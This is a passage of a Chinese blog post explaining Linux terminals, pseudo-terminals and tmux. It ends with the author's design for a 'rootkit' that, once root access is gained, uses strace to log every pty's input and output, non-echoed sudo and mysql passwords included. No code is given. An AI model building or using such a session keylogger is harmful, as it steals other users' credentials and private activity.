                  |   +--------+   +-------+    |       +-------+               |
                  |     ↑   |  Kernel           |           ↑                   |
                  +-----|---|-------------------+           |                   |
                        |   |                               |                   |
                        |w/r|   +---------------------------+                   |
                        |   |   |            fork                               |
                        |   ↓   |                                               |
                    +-------------+                                             |
                    |             |                                             |
                    | tmux server |<--------------------------------------------+
                    |             |
                    +-------------+

需要注意的是,由于pts是slave端,所以不支持一对多,如果我们在linux中开启两个终端分别是pts1 和 pts2
如果我们再pts2中执行 cat /dev/pts/1命令,然后我们在pts1终端中输入字符,可以发现一部分字符会回显再pts1端上,另一部分的字符会会显在pts2上。我画个图就很好理解为什么了
图片.png
当我们在pts1中输入数据时,输入流从ptmx传递给pts1在传递给bash,bash会把用户输入原样返回给输出流。这时候pts1接收到bash返还给的输出,但此时有两个应用程序在等待pts1的返回。一个是ptmx,一个是pts2下的cat进程(其实应该是pts2下bash的子进程)。于是此时就发生了数据争夺。linux内核调度器根据当时情况随时都会将他们中的一个调出或者调入,因此数据就出现了一部分被送到了pts/2的cat命令,另一部分被送到了pts1的shell,

终端与伪终端的区别

至此我们可以得出这样的结论:现在所说的终端已经不是硬件终端了,而是软件仿真终端(终端模拟软件)。
关于终端和伪终端,可以简单的理解如下:

  • 真正的硬件终端基本上已经看不到了,现在所说的终端、伪终端都是软件仿真终端(即终端模拟软件)
  • 一些连接了键盘和显示器的系统中,我们可以接触到运行在内核态的软件仿真终端(tty1-tty6)
  • 通过 SSH 等方式建立的连接中使用的都是伪终端
  • 伪终端是运行在用户态的软件仿真终端

制作rootkit

上一篇文章留下来的坑https://evoa.me/index.php/archives/64/
我们试试能不能制作一个rootkit,负责记录所有pty的输入输出,这样当我们拿下一台linux主机之后。我们就可以监控所有终端的输入输出。包括其他用户ssh连上来的和在此机器上通过ssh连别的机器的所有输入输出。
但是可惜的是,我搜遍了几乎所有,都没有找到一个完美的解决方案,唯一能让我稍微满意的,就是通过strace命令监控io系统调用。
于是我写了一个很丑的脚本,勉强能完成上诉需求。
怎么实现呢,原理很简单,一般来说pty是由一个进程来控制的,那么我们只要知道这个进程的进程id(pid),那么通过strace获取这个进程的io系统调用,write(1)代表输出,read(0)代表输入(文件描述符),然后通过正则获取参数,就可以获取pty的所有系统调用了
优点:

  1. 可以获取连接到此机器的所有伪终端的输入输出。包括不限于telnet,ssh,本地终端
  2. 可以获取到连接到此机器的基础上,在通过telnet,ssh等连接到别的机器时所有的输入输出(可无限循环)
  3. 可以获取到不回显至终端的输入(比如sudo时输入的密码,mysql连接时的密码)

缺点:

  1. 必须拥有root权限,否则只能获取和当前用户同一pty的进程的输入输出
  2. 严重依赖ptrace系统调用和strace命令
  3. echo 0 > /proc/sys/kernel/yama/ptrace_scope,当然root权限可以更改此选项

由于代码过丑,存在很多bug,我暂时就不贴出来和放在github了,等有时间写个go版本的用原生系统调用实现

大概说一下我的实现细节:

  1. 主程序第一次运行时,执行ps -ef获取当前系统所有pty进程,
  2. 删除与自身pty一样的进程
  3. 然后使用多进程或多线程运行strace命令依次获取这些进程的系统调用内容。
  4. 用正则获取所有的输入和输出,筛选(这部分很细节)
  5. 主程序运行第一次ps -ef以后会轮询ps -ef,如果发现新产生的pty进程,继续3步骤
  6. 把输入输出输出到文件或终端

说起来很容易,但是很多细节很麻烦

  1. 进程中还会有子进程,子进程还有子进程,会出现子进程退出主进程没退出或者主进程退出子进程还没从全局列表删去这些问题
  2. strace可以自动追踪子进程,但是可能和主程序的轮询冲突。
  3. trace附加到的进程无法获取父进程的输入输出,strace先附加进程,然后这个进程再产生子进程的话,strace可以追踪到,但是如果strace附加之前这个进程就已经产生的子进程,strace附加后无法获取到。
  4. write系统调用除了输出到1文件描述符会实现回显,输入到0标准输入也有回显,2标准错误也有回显,还可以直接输出到/dev/pts/x 还可以输出到/dev/tty
  5. dup2系统调用会复制一个文件描述符,我们需要追踪这个系统调用,然后判断复制的文件描述符是否是标准输入 标准输出 标准错误。需要实现一个全局列表记录
  6. close会关闭一个文件描述符,后续可能会有open或openat系统调用打开文件描述符,可能前一秒这个文件描述符是存在的,后一秒就被关闭了,再后一秒又被重新打开了并且指向发生了改变,这些都需要进行追踪

所以。。。具体实现细节过于麻烦,这也导致了我写的很难受

后话

如果想要我的残次品脚本的也可以私我。功能确实实现了,就是一堆bug

参考:
https://www.jianshu.com/p/11c01003211b
https://en.wikipedia.org/wiki/Line_discipline
http://www.linusakesson.net/programming/tty/
https://segmentfault.com/a/1190000009082089
https://www.cnblogs.com/sparkdev/p/11460821.html
https://blog.csdn.net/zhoucheng05_13/article/details/86510469

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